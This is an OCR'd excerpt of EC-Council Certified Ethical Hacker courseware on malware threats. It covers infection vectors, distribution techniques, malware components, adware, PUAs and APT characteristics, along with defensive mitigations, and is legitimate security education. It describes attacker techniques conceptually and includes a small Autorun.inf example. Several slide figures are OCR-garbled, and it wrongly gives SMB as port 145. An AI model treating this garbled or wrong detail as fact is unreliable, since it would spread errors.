Untitled

You might also like

Download as pdf or txt
Download as pdf or txt
You are on page 1of 262

This page is intentionally left blank.

Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker


Malware Threats

f--- - - - - - - - - - - - - - - - - LEARN I NG OBJECTIVES


e L0#0l: Explain Malwa re and Malware Propagation e L0#05: Explain Fileless Malware Concepts
Techniques
e L0#06: Demonstrate Malware Analysis Process
e L0#02: Summa rize Advanced Persistent Threat (APT)
Concepts e L0#07: Explain Malware Countermeasures

e L0#03: Explain Trojans, Their Types, and How They e L0#08: Demonst rate t he Use of Anti-Ma lware Software
Infect Systems

e L0#04 : Explain Viruses and Worm, Their Types,


and How They Infect Files

Copyright Cl by (C-Cluldl All Rights Re~rved Reproduction 1s Stnctly Prohibited

Learning Objectives
The primary objectives of this module are to provide knowledge about various types of
malware and to illustrate how to perform malware analysis. This module presents different
types of Trojans, backdoors, viruses, and worms, explains how they work and propagate or
spread on the Internet, describes their symptoms, and discusses their consequences along with
various malware analysis techniques such as static and dynamic malware analysis. It also
discusses different ways to protect networks or system resources from malware infection.
At the end of this module, you will be able to :
• Describe the concepts of malware and malware propagation techniques
• Explain Potentially unwanted applications {PUAs) and adware
■ Describe the concepts of advanced persistent threats (APTs) and their lifecycle
■ Describe the concepts of Trojans, their types, and how they infect systems
• Explain the concepts of viruses, their types, and how they infect files
• Explain the concept of computer worms
■ Explain the concepts of file less malware and how they infect files
■ Perform malware analysis
• Explain different techniques to detect malware
• Adopt countermeasures against malware

Module 07 Page 945 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

10#01: Explain Malware and Malware Propagation Techniques

Copyright Cl by EC·CIUICI All Rights Reserved Reproduction Is Strictly Prohibited

Malware Concepts
To understand the various types of malware and their impact on network and system
resources, we will begin with a discussion of the basic concepts of malware. This section
describes malware, highlights the common techniques used by attackers to distribute malware
on the web and explains potentially unwanted applications (PUAs).

Module 07 Page 946 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Introduction to Malware

Malware is malicious software that damages or disables computer systems and gives limited or full control
of the systems to the malware creator for the purpose of theft or fraud

Exantples of Malware

fo Trojans
7 [m Adware
[ tJ Botnets
7
Lm Backdoors
Lm Viruses
l ID] Crypters
_J
I■ Rootkits
I• Worms

Lm Ransomware

Introduction to Malware
J [m Spyware

*
Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Malware is malicious software that damages or disables computer systems and gives limited or
full control of the systems to the malware creator for malicious activities such as theft or fraud.
Malware includes viruses, worms, Trojans, rootkits, backdoors, botnets, ransomware, spyware,
adware, scareware, crapware, roughware, crypters, keyloggers, etc. These may delete files,
slow down computers, steal personal information, send spam, or commit fraud. Malware can
perform various malicious activities ranging from simple email advertising to complex identity
theft and password stealing.
Malware programmers develop and use malware to :
■ Attack browsers and track websites visited
■ Slow down systems and degrade system performance
■ Cause hardware failure, rendering computers inoperable
■ Steal personal information, including contacts
■ Erase valuable information, resulting in substantial data loss
■ Attack additional computer systems directly from a compromised system
■ Spam in boxes with advertising emails

Module 07 Page 947 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Different Ways for Malware to Enter a System ~ :~ ~

~ Insta nt Messenger applica tions Downloading files from th e Internet

Porta ble hardwa re media/removabl e devices


II Email attachments

Browser and email softwa re bugs


l [il Network prop agation

Insecure patch management


[m File sharin g services (NetBIOS, FTP, SM B)

El Rogue/ decoy appli cat ions


[ii Inst allation by ot her malwa re
J
II Untrusted sites and freewa re web applications/
softwa re Lm Bluet ooth and wi re less net works

Copyright C> by (C-CllllCII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Different Ways for Malware to Enter a System


■ Instant Messenger Applications

Infection can occur via instant messenger applications such as Facebook Messenger,
WhatsApp Messenger, Linkedln Messenger, Google Hangouts, or ICQ. Users are at high
risk while receiving files via instant messengers. Regard less of who sends the file or from
where it is sent, there is always a risk of infection by a Trojan. The user can never be
100% sure of who is at the other end of the connection at any particular moment. For
example, if you receive a file through an instant messenger application from a known
person such as Bob, you will try to open and view the file. This could be a trick whereby
an attacker who has hacked Bob's messenger ID and password wants to spread Trojans
across Bob's contacts list to trap more victims.
■ Portable Hardware Media/Removable Devices

o Portable hardware media such as flash drives, CDs/ DVDs, and external hard drives
can also inject malware into a system. A simple way of injecting malware into the
target system is through physical access. For example, if Bob can access Alice' s
system in her absence, then he can install a Trojan by copying the Trojan software
from his flash drive onto her hard drive.
o Another means of portable media malware infection is through the Autorun
function. Autorun, also referred to as Autoplay or Autost art, is a Windows feature
that, if enabled, runs an executable program when a user inserts a CD/DVD in the
DVD-ROM tray or connects a USB device. Attackers ca n exploit this feature to run
malware along with genuine programs. They place an Autorun .inf file with the
malware in a CD/DVD or USB device and trick people into inserting or plugging it into

Module 07 Page 948 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

their systems. Because many people are not aware of the risks involved, their
machines are vulnerable to Autorun malware. The following is the content of an
Autorun.inf file:
[autorun]
open=setup.exe
icon=setup.exe
To mitigate such infection, turn off the Autostart functionality. Follow the
instructions below to turn off Autoplay in Windows 10:
1. Click Start. Type gpedit.msc in the Start Search box, and then press ENTER.
2. If you are prompted for an administrator password or confirmation, type the
password, or click Allow.
3. Under Computer Configuration, expand Administrative Templates, expand
Windows Components, and then click Autoplay Policies.

4. In the Details pane, double-click Turn off Autoplay.


5. Click Enabled, and then select All drives in the Turn off Autoplay box to disable
Autorun on all drives.
6. Restart the computer.
■ Browser and Email Software Bugs

Outdated web browsers often contain vulnerabilities that can pose a major risk to the
user's computer. A visit to a malicious site from such browsers can automatically infect
the machine without downloading or executing any program. The same scenario occurs
while checking e-mail with Outlook or some other software with well-known problems.
Again, it may infect the user's system without even downloading an attachment. To
reduce such risks, always use the latest version of the browser and e-mail software.
■ Insecure Patch management

Unpatched software poses a high risk. Users and IT administrators do not update their
application software as often as they should, and many attackers take advantage of this
well-known fact. Attackers can exploit insecure patch management by injecting the
software with malware that can damage the data stored on the company's systems. This
process can lead to extensive security breaches, such as stealing of confidential files and
company credentials. Some applications that were found to be vulnerable and were
patched recently include Google Play Core Library (CVE-2020-8913), Cloudflare WARP
for Windows (CVE-2020-35152), Oracle Weblogic Server (CVE-2020-14750), and Apache
Tomcat (CVE-2021-24122). Patch management must be effective in mitigating threats,
and it is vital to apply patches and regularly update software programs.
■ Rogue/Decoy Applications

Attackers can easily lure a victim into downloading free applications/programs. If a free
program claims to be loaded with features such as an address book, access to several

Module 07 Page 949 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

POP3 accounts, and other functions, many users will be tempted to try it. POP3 (Post
Office Protocol version 3) is an email transfer protocol.
o If a victim downloads free programs and labels them as TRUSTED, protection
software such as antivirus software will fail to indicate the use of new software. In
this situation, an attacker receives an email, POP3 account passwords, cached
passwords, and keystrokes through email without being noticed.
o Attackers thrive on creativity. Consider an example in which an attacker creates a
fake website (say, Audio galaxy) for downloading MP3s. He or she could generate
such a site using 15 GB of space for the MP3s and installing any other systems
needed to create the illusion of a website. This can fool users into thinking that they
are merely downloading from other network users. However, the software could act
as a backdoor and infect thousands of naive users.
o Some websites even link to anti-Trojan software, thereby fooling users into trusting
them and downloading infected freeware. Included in the setup is a readme.txt file
that can deceive almost any user. Therefore, any freeware site requires proper
attention before any software is downloaded from it.
o Webmasters of well-known security portals, who have access to vast archives
containing various hacking programs, should act responsibly with regard to the files
they provide and scan them often with antivirus and anti-Trojan software to
guarantee that their site is free of Trojans and viruses. Suppose that an attacker
submits a program infected with a Trojan (e.g., a UDP flooder) to an archive's
webmaster. If the webmaster is not alert, the attacker may use th is opportunity to
infect the files on the site with the Trojan. Users who deal with any software or web
application should scan their systems daily. If they detect any new file, it is essential
to examine it. If any suspicion arises regarding the file, it is also important to forward
it to software detection labs for further analysis.
o It is easy to infect machines using freeware; thus, extra precautions are necessary.
• Untrusted Sites and Free Web Applications/Software

A website could be suspicious if it is located at a free website provider or one offering


programs for illegal activities.
o It is highly risky to download programs or tools located on "underground" sites, e.g.,
NeuroticKat software, because they can serve as a conduit for a Trojan attack on
target computers. Users must assess the high risk of visiting such sites before
browsing them.
o Many malicious websites have a professional look, massive archives, feedback
forums, and links to other popular sites. Users should scan the files using antivirus
software before downloading them. Just because a website looks professional does
not mean that it is safe.
o Always download popular software from its original (or officially dedicated mirror)
site, and not from third-party sites with links to the (supposedly) same software.

Module 07 Page 950 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

■ Downloading Files from the Internet

Trojans enter a system when users download Internet-driven applications such as music
players, files, movies, games, greeting cards, and screensavers from malicious websites,
thinking that they are legitimate. Microsoft Word and Excel macros are also used
effectively to transfer malware, and downloaded malicious MS Word/Excel files can
infect systems. Malware can also be embedded in audio/video files as well as in video
subtitle files.
■ Email Attachments

An attachment to an e-mail is the most common medium to transmit malware. The


attachment can be in any form, and the attacker uses innovative ideas to trick the victim
into clicking and downloading the attachment. The attachment may be a document,
audio file, video file, brochure, invoice, lottery offer letter, job offer letter, loan approval
letter, admission form, contract approval, etc.
Example 1: A user's friend is conducting some research, and the user would like to know
more about the friend's research topic. The user sends an e-mail to the friend to inquire
about the topic and waits for a reply. An attacker targeting the user also knows the
friend' s e-mail address. The attacker will merely code a program to falsely populate the
e-mail "From:" field and attach a Trojan in the email. The user will check the email and
think that the friend has answered the query in an attachment, download the
attachment, and run it without thinking it might be a Trojan, resulting in an infection.
Some email clients, such as Outlook Express, have bugs that automatically execute
attached files. To avoid such attacks, use secure email services, investigate the headers
of emails with attachments, confirm the sender's email address, and download the
attachment only if the sender is legitimate.
■ Network Propagation

Network security is the first line of defense for protecting information systems from
hacking incidents. However, various factors such as the replacement of network
firewalls and mistakes of operators may sometimes allow unfiltered Internet traffic into
private networks. Malware operators continuously attempt connections to addresses
within the Internet address range owned by targets to seek an opportunity for
unfettered access. Some malware propagates through technological networks. For
example, the Blast er starts from a local machine's IP address or a completely random
address and attempts to infect sequential IP addresses. Although network propagation
attacks that take advantage of vulnerabilities in common network protocols (e.g., SQL
Slammer) have not been prevalent recently, the potential for such attacks still exists.
■ File Sharing

If NetBIOS (Port 139), FTP (Port 21), SMB (Port 145), etc., on a system are open for file
sharing or remote execution, they can be used by others to access the system. This can
allow attackers to install malware and modify system fil es.

Module 07 Page 951 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Cou ntermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Attackers can also use a Dos attack to shut down the system and force a reboot so that
the Trojan can restart itself immediately. To prevent such attacks, ensure that the file
sharing property is disabled. To disable the file sharing option, click Start and type
Control Panel. Then, in the results, click on the Control Panel option and navigate to
Network and Internet ➔ Network and Sharing Center ➔ Change Advanced Sharing
Settings. Select a network profile and under File and Printer Sharing section, select Turn
off file and printer sharing. This will prevent file sharing abuse.

• Installation by other Malware

A piece of malware that can command and control will often be able to re-connect to
the malware operator's site using common browsing protocols. This functionality allows
malware on the internal network to receive both software and commands from the
outside. In such cases, the malware installed on one system drives the installation of
other malware on the network, thereby causing damage to the network.
■ Bluetooth and Wireless Networks

Attackers use open Bluetooth and Wi-Fi networks to attract users to connect to them.
These open networks have software and hardware devices installed at the router level
to capture the network traffic and data packets as well as to find the account details of
the users, including usernames and passwords.

Module 07 Page 952 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Common Techniques Attackers Use to Distribute Malware


on the Web
Black hat Search Engine Optimization (SEO) Compromised LegitimateWebsites

Ranking malware pages highly in search results Hosting embedded malware that spreads to
unsuspecting visitors

Social Engineered Click-jacking Drive-by Downloads


Tricking users into clicking on innocent-looking Exploiting flaws in browser software to install
webpages malwarejust by visiting a web page

Spear-phishing Sites Spam Emails


Mimicking legitimate institutions in an attempt to Attaching the malware to emails and tricking victims
steal login credentials to click the attachment

Malvertising RTF Injection


Embedding malware in ad-networks that display Injecting malicious macros into an RTF file and
across hundreds of legitimate, high-traffic sites tricking users to open the malicious document

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Common Techniques Attackers Use to Distribute Malware on the Web


Source: Security Threat Report (https://www.sophos.com)
Some standard techniques used to distribute malware on the web are as follows:
■ Black hat Search Engine Optimization (SEO): Black hat SEO (also referred to as unethical
SEO) uses aggressive SEO tactics such as keyword stuffing, inserting doorway pages,
page swapping, and adding unrelated keywords to get higher search engine rankings for
malware pages.

• Social Engineered Click-jacking: Attackers inject malware into websites that appear
legitimate to trick users into clicking them. When clicked, the malware embedded in the
link executes without the knowledge or consent of the user.
■ Spear-phishing Sites: This technique is used for mimicking legitimate institutions, such
as banks, to steal passwords, credit card and bank account data, and other sensitive
information.
■ Malvertising: This technique involves embedding malware-laden advertisements in
legitimate online advertising channels to spread malware on systems of unsuspecting
users.
■ Compromised Legitimate Websites: Often, attackers use compromised websites to
infect systems with malware. When an unsuspecting user visits the compromised
website, he/she unknowingly installs the malware on his/her system, after which the
malware performs malicious activities.

Module 07 Page 953 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Drive-by Downloads: This refers to the unintentional downloading of software via the
Internet. Here, an attacker exploits flaws in browser software to install malware by
merely visiting a website.
■ Spam Emails: The attacker attaches a malicious file to an email and sends the email to
multiple target addresses. The victim is tricked into clicking the attachment and thus
executes the malware, thereby compromising his/her machine. This technique is the
most common method currently in use by attackers. In addition to email attachments,
an attacker may also use the email body to embed the malware.
■ Rich Text Format (RTF) Injection: RTF injection involves exploiting features of Microsoft
Office such as RTF template files that are stored locally or in a remote machine. RTF
templates are used for specifying the document format. Attackers inject malicious
macros into RTF files and host them on their servers. When a user opens the document,
the malicious template is automatically retrieved from the remote server by evading
security systems.

Module 07 Page 954 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Components of Malware
The co mpo nents of a ma I wa re softwa re depend on the requirements of the malwareauthor w ho designs it for a specific
target t o perform int ended tasks

Malware Component Description

Software t hat protects malware from undergoing reverse engineering or analysis, thus making the task of the security
Crypter
mechanism harder in its detection

A type of Trojan t hat downloads other malware from t he Internet on to the PC. Usually, attackers install downloader software
Down loader
when they first gain access to a system

Dropper A type of Trojan that covertly installs other malware files on to the system

Exploit A malicious code that breaches the system security via software vulnerabilities to access information or install malware

A program that injects its code into other vulnerable running processes and changes how they execute to hide or prevent its
Injector
removal

A program that conceals its code and intended purpose via var ious techniques, and thus, makes it hard for security mechanisms
Obfuscator
to detect or remove it

A program that allows all files to bundle together into a single executable file via compression to by pass security softwar e
Packer
detection
Payload A piece of software that allows control over a computer system after it has been exploited

Malicious Code A command that defines malware's basic functionalities such as stealing data and creating backdoors

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Components of Malware
Malware authors and attackers create malware using components that can help them achieve
their goals. They can use malware to steal information, delete data, change system settings,
provide access, or merely multiply and occupy space. Malware is capable of propagating and
functioning secretly.
Some essential components of most malware programs are as follows :
■ Crypter: It is a software program that can conceal the existence of malware. Attackers
use this software to elude antivirus detection. It protects malware from reverse
engineering or analysis, thus making it difficult to detect by security mechanisms.
■ Downloader: It is a type of Trojan that downloads other malware (or) malicious code
and files from the Internet to a PC or device. Usually, attackers install a downloader
when they first gain access to a system.
■ Dropper: It is a covert carrier of malware. Attackers embed notorious malware files
inside droppers, which can perform the installation task covertly. Attackers need to first
install the malware program or code on the system to execute the dropper. The dropper
can transport malware code and execute malware on a target system without being
detected by antivirus scanners.
■ Exploit: It is the part the malware that contains code or a sequence of commands that
can t ake advantage of a bug or vulnerability in a digital system or device. Attackers use
such code to breach the system' s security through software vulnerabilities to spy on
information or to install malware. Based on the type of vulnerabilities abused, exploits
are categorized into local exploits and remote exploits.

Module 07 Page 955 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Injector: This program injects exploits or malicious code available in the malware into
other vulnerable running processes and changes the method of execution to hide or
prevent its removal.
■ Obfuscator: It is a program that conceals the malicious code of malware via various
techniques, thus making it difficult for security mechanisms to detect or remove it.
■ Packer: This software compresses the malware file to convert the code and data of the
malware into an unreadable format. It uses compression techniques to pack the
malware.
■ Payload : It is the part of the malware that performs the desired activity when activated.
It may be used for deleting or modifying files, degrading the system performance,
opening ports, changing settings, etc., to compromise system security.
■ Malicious Code: This is a piece of code that defines the basic functionality of the
malware and comprises commands that result in security breaches.
It can take the following forms:
o Java Applets
o ActiveX Controls
o Browser Plug-ins
o Pushed Content

Module 07 Page 956 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Potentially Unwanted Application or Applications (PUAs)

Also known as grayware or junkware, are potentially harmful applications that may pose severe risks to the securit y
and privacy of data stored in the system where t hey are installed
Insta lled when downloading and installingfreeware using a third-party installer or w hen accepting a mislea ding license
agreement
Covertly monitor and alter the data or settings in the system, similarly to other ma Iware

7 engines detected thb fl5e


Potentially Unwanted
Types of PUAs Application: µTorrent

8 Adwa re 8 Microsoft and other


s - _,

·~
~

ant imalware products


8 Torrent have classified µTorrent, a "'- A
··-
A

8 Marketing
popular BitTorrent cl ient,
as malware or a
potenti ally unwanted --- - A
A
0
~
A
A
0
0
8 Cryptomining
application (PUA) 0 ....... 0

e Dialers
--- 0
0
0
0

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Potentially Unwanted Application or Applications (PUAs)


Potentially unwanted applications or programs (PUAs or PUPs, respectively), also known as
grayware/junkware, are potentially harmful applications that may pose severe risks to the
security and privacy of data stored in the system where they are installed. Most PUAs originate
from sources such as legitimate software packages and even malicious applications used for
illegal activities. PUAs can degrade system performance and compromise privacy and data
security. Most PUAs get installed when downloading and installing freeware using a third-party
installer or when accepting a misleading license agreement. PUAs can covertly monitor and
alter the data or settings in the system, similarly to other malware.
Types of PUAs

■ Adware: These PUAs display unsolicited advertisements offering free sales and pop-ups
of online services when browsing websites. They may disturb normal activities and lure
victims into clicking on malicious URLs. They may also issue bogus reminders regarding
outdated software or OS.
■ Torrent: When using torrent applications for downloading large files, the user may be
compelled to download unwanted programs that have features of peer-to-peer file
sharing.
■ Marketing: Marketing PUAs monitor the online activities performed by users and send
browser details and information regarding personal interest s to third-party app owners.
These applications then market products and resources based on users' personal
interests.
■ Cryptomining: Cryptomining PU As make use of the victims' persona l assets and financial
data on the system and perform the digital mining of cryptocurrencies such as bitcoins.

Module 07 Page 957 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Dialers: Dialers or spyware dialers are programs that get installed and configured in a
system automatically to call a set of contacts at several locations without the user's
consent. Dialers cause massive telephone bills and are sometimes very difficult to locate
and delete.
Potentially Unwanted Application: µTorrent

Source: https;//www.myce.com
Microsoft and other antimalware products have classified µTorrent, a popular BitTorrent client,
as malware or a potentially unwanted application (PUA). Consequently, the installation of
µTorrent is blocked on many computers. Microsoft even lists µTorrent in its malware
encyclopedia as PUA:Win32/Utorrent, with the description, "This application was stopped from
running on your network because it has a poor reputation. This application can also affect the
quality of your computing experience."

7 englnes detected thls file


t ._
Rlerwne
raowe
2a.&221c9dtta1..add 10&111168J1cd.S9l1ce617S4ta9NIOt.24 l 7'99~•1 la9
1.1tor,.-ll.e,;c
l l l MB
.ZOII-0<-19 12 2]1'0 U~

Dot«llon D,

CAT~

ESET·NOOJ2

K7GW
A
A
- ai,MJ

.a or.ar.-: O' M

A - · OC519"2
,._.-
,,

!WvbC.omp:i

I
A
0fWeb

K7M11111Ns

MIOoloft

Ad-Aware
A, P•--•ldlll

A
0
P A.Win) torr r

0 Nv,LAl,.11]
0 °"'"
AIYlc 0 Mlly-A\IL 0
0 ........ 0
0 0

Figure 7.1: Screenshot showing PUAs detected and blocked

Module 07 Page 958 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Adware

A software or a program that supports advertisements and generates unsolicited ads and pop-ups

Tracks the cookies and user browsing patterns for marketing purposes and collects user data

Consumes additional bandwidth, and exhausts CPU resources and memory

Indications of Adware

Frequent system lag Disparity in the default browser homepage

Inundated advertiseme= J Presence of new toolbar or browser add-ons

Incessant system cra: J

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Adware
Adware refers to software or a program that supports advertisements and generates
unsolicited ads and pop-ups. It tracks cookies and user browsing patterns for marketing
purposes and to display advertisements. It collects user data such as visited websites to
customize advertisements for the user. Legitimate software can be embedded with adware to
generate revenue, in which case the adware is considered a legitimate alternative provided to
customers who do not wish to pay for the software. In some cases, legitimate software may be
embedded with adware by an attacker or a third party to generate revenue.
Software containing legitimate adware typically provides the option to disable ads by
purchasing a registration key. Software developers utilize adware as a means to reduce
development costs and increase profits. Adware enables them to offer software for free or at
reduced prices, motivating them to design, maintain, and upgrade their software products.
Adware typically requires an Internet connection to run . Common adware programs include
toolbars on a user's desktop or those that work in conjunction with the user's web browser.
Adware may perform advanced searches on the web or a user's hard drive and may provide
features to improve the organization of bookmarks and shortcuts. Advanced adware may also
include games and utilities that are free to use but display advertisements while the programs
launch. For example, users may be required to wait until an ad is completed before watching a
YouTube video.
While adware can be beneficial by offering an alternative to paid software, attackers can
misuse adware to exploit users. When legitimate adware is uninstalled, the ads should stop.
Further, legitimate adware requests a user for permission before collecting user data. However,
when user data are collected without the user's permission, the adware is malicious. Such
adware is termed spyware and can affect the user's privacy and security. Malicious adware is

Module 07 Page 959 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

installed on a computer via cookies, plug-ins, file sharing, freeware, and shareware. It consumes
additional bandwidth and exhausts CPU resources and memory. Attackers perform spyware
attacks and collect information from the target user's hard drive about visited websites or
keystrokes in order to misuse the information and conduct fraud.
Indications of Adware

■ Frequent system lag: If the system takes longer than usual to respond, it may have
adware infection. Adware also affects the processor speed and consumes memory,
degrading performance.
■ Inundated advertisements: The user is flooded with unsolicited advertisements and
pop-ups in the user interface while browsing. Occasionally, the advertisements can be
very challenging to close, paving way to malicious redirections.
■ Incessant system crash: The user's system may crash or freeze constantly, occasionally
displaying the blue screen of death (BSoD).
■ Disparity in the default browser homepage: The default browser homepage changes
unexpectedly and redirects to malicious pages that contain malware.
■ Presence of new toolbar or browser add-ons: The installation of a new toolbar or
browser add-on without the user's consent is an indication of adware.
■ Slow Internet: Adware may cause the Internet connection to slow down even in normal
usage by downloading huge advertisements and unwanted items in the background .

Module 07 Page 960 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

10#02: Summarize Advanced Persistent Threat (APT) Concepts

Copyright Cl by (C-Cluldl All Rights Re~rved Reproduction 1s Stnctly Prohibited

APT Concepts
Advanced persistent threats are a major security concern for any organization, as they
represent threats to the organization's assets, resources, financial records, and other
confidential data. APT attacks can damage the reputation of an organization by revealing
sensitive data. This section discusses APTs as well as their characteristics and lifecycle.

Module 07 Page 961 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

What are Advanced Persistent Threats?

Advanced persistent threats (APTs) are defined as a type of network attack, where an attacker gains unauthorized
access to a target network and remains undetected for a long period of time

The main objective behind t hese attacks is to obtain sensitive information rather than sabotaging the organi zation
and its netw ork

Information Obtained during APT attacks

8 Classified documents e Transaction informat ion

8 User credentials e Credit card informat ion

e Personal information abou t 8 Organizat ion's busin ess strat egy


employees or customers information

e Network information 8 Control system access informat ion

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

What are Advanced Persistent Threats?


An advanced persistent threat is defined as a type of network attack whereby an attacker gains
unauthorized access to a target network and remains in the network without being detected for
a long time. The word "advanced" signifies the use of techniques to exploit the underlying
vulnerabilities in the system. The word "persistent" signifies the external command-and-control
(C&C) system that continuously extracts the data and monitors the victim's network. The word
"threat" signifies human involvement in coordination. APT attacks are highly sophisticated
attacks whereby an attacker uses well-crafted malicious code along with a combination of
multiple zero-day exploits to gain access to the target network. These attacks involve well -
planned and coordinated techniques whereby attackers erase evidence of their malicious
activities after their objectives have been fulfilled. APT attacks are usually performed on
organizations possessing valuable information, such as financial, healthcare, defense and
aerospace, manufacturing, and business organizations. The main objective of these attacks is to
obtain sensitive information rather than sabotaging the organization and its network.
Information obtained by an attacker through APT attacks includes:
■ Classified documents ■ Transaction information
■ User credentials ■ Credit card information
■ Employee's or customer's personal ■ Organization's business strategy
information information
■ Network information ■ Control syst em access information

Module 07 Page 962 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Characteristics of Advanced Persistent Threats

L Objectives Obtaining sensitive information or fulfi lling political or strategic goals

L Timeliness
Time taken by the attacker from assessing the target system for vulnerabilities to gaining and
maintaining the access

L Resources Amount of knowledge, tools, and techniques required to perform an attack

L Risk Tolerance I Level up to which the attack remains undetected in t he target's network

L Skills and
Methods
Methods and tools used by the attackers to perform a certain attack

L Actions

Attack
APT consists of a certain number of technical "actions" that causes them to differ from other
cyberattacks

Numerous attempts to gain entry into the target's network


Origination Points

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Characteristics of Advanced Persistent Threats (Cont'd)

I
L Numbers Involved
in the Attack
Number of host systems that are invo lved in the attack

I Knowledge Source Gathering inform ation thro ugh on line sources about specific threats

L Multi-phased
APT attacks are multiphased which include reconna issa nce, gaining access, discovery, ca pt ure,
and data exfiltration

Tailored to the
APTs target-specific vulnerabilities present in the victim's network
Vulnerabilities

Multiple Points The adversary creates multiple points of entry t hrough the server to maintain access to the
of Entry target network

Evading Signature-Based APT attacks can easily bypass the security mechanisms such as firewa ll, antivirus software,
Detection Systems IDS/IPS, and emai l spam filter

Specific indications of an APT attack include inexplicable user account activities, presence
Specific Warning Signs
of backdoors, unusual file transfers and file uploads, unusual database activity, etc.

Copynght O by (C-CHICII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Characteristics of Advanced Persistent Threats


APTs have various characteristics based on which attackers can design and plan their activities
to successfully launch an attack.

Module 07 Page 963 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

According to security researchers Sean Bodmer, Dr. Max Kilger, Jade Jones, and Gregory
Carpenter, some key characteristics of APTs are as follows:
■ Objectives

The main objective of any APT attack is to repeatedly obtain sensitive information by
gaining access to the organization' s network for illegal earnings. Another objective of an
APT may be spying for political or strategic goals.
■ Timeliness

It refers to the time taken by an attacker from assessing the target system for
vulnerabilities to exploiting them to gain and maintain access to the target system .
■ Resources

It is defined as the amount of knowledge, tools, and techniques required to perform an


attack. APT attacks are more sophisticated attacks performed by highly skilled cyber-
criminals, and they require considerable resources.
■ Risk Tolerance

It is defined as the level up to which the attack remains undetected in the target
network. APT attacks are well planned and executed with proper knowledge of the
target network, which helps them remain undetected in the network for a long time.
■ Skills and Methods

These are the methods and tools used by attackers to perform a certain attack. The
methods used for performing the attack include various social engineering techniques to
gather information about the target, techniques to prevent detection by security
mechanisms, and techniques to maintain access for a long time.
■ Actions

APT attacks follow a certain number of technical "actions" that make them different
from other types of cyber-attacks. The main objective of such attacks is to maintain their
presence in the victim's network for a long time and extract as much data as possible.
■ Attack Origination Points

They refer to the numerous attempts made to gain entry into the target network. Such
points of entry can be used to gain access to the network and launch further attacks. To
succeed in gaining initial access, the attacker needs to conduct exhaustive research to
identify the vulnerabilities and gatekeeper functions in the target network.
■ Numbers Involved in the Attack

It is defined as the number of host systems involved in the attack. APT attacks are
usually performed by a crime group or crim e organization.
■ Knowledge Source

It is defin ed as the gathering of information through online sources about specific


threats, which can be further exploited to perform certain attacks.

Module 07 Page 964 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
